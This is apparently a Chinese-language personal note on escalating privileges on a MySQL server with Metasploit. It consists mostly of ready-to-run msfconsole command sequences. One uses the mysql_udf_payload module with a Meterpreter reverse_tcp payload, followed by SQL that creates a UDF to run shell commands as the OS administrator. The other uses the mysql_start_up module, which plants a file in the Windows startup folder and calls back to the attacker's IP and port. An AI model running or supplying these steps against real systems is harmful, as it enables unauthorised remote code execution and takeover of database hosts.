【笔记】MSF实现MySQL提权

前言

MSF实现MySQL提权

漏洞利用前提

  • 已经获取了MySQL的root用户密码
  • MySQL允许任何IP以root用户登录
  • 受害者的MySQL配置文件中没有开启secure_file_priv

UDF

导出用于提权的插件

<mysql_password>:MySQL的root用户密码
<ip_remote>:受害者IP地址
<port_remote>:受害者端口号

1
2
3
4
5
6
7
msf > use exploit/multi/mysql/mysql_udf_payload
msf (multi/mysql/mysql_udf_payload) > set payload windows/meterpreter/reverse_tcp
msf (multi/mysql/mysql_udf_payload) > set username root
msf (multi/mysql/mysql_udf_payload) > set password <mysql_password>
msf (multi/mysql/mysql_udf_payload) > set rhosts <ip_remote>
msf (multi/mysql/mysql_udf_payload) > set rport <port_remote>
msf (multi/mysql/mysql_udf_payload) > run
  • Windows上
    • 如果MySQL版本<5.2,会在c:\windows\system32\目录下生成一个.dll文件
    • 如果MySQL版本>=5.2,会在mysql\lib\plugins目录下生成一个.dll文件
  • Linux上和MacOS上会在mysql/lib/plugins目录下生成一个.so文件

通过插件创建函数

<file_name>.so:上一步骤导出的dll文件或so文件名

1
CREATE FUNCTION x RETURNS STRING SONAME '<file_name>.so';

查看所有函数

1
SELECT * FROM mysql.func;

利用函数以操作系统管理员身份执行Shell命令

<shell>:Shell命令

1
SELECT x('<shell>');

启动项

向Windows启动文件夹写入文件

<mysql_password>:MySQL的root用户密码
<ip_remote>:受害者IP地址
<ip_local>:攻击者IP地址
<ip_port>:攻击者端口号

1
2
3
4
5
6
7
msf > use exploit/windows/mysql/mysql_start_up
msf (windows/mysql/mysql_start_up) > set username root
msf (windows/mysql/mysql_start_up) > set password <mysql_password>
msf (windows/mysql/mysql_start_up) > set rhosts <ip_remote>
msf (windows/mysql/mysql_start_up) > set lhosts <ip_local>
msf (windows/mysql/mysql_start_up) > set lport <ip_port>
msf (windows/mysql/mysql_start_up) > run

完成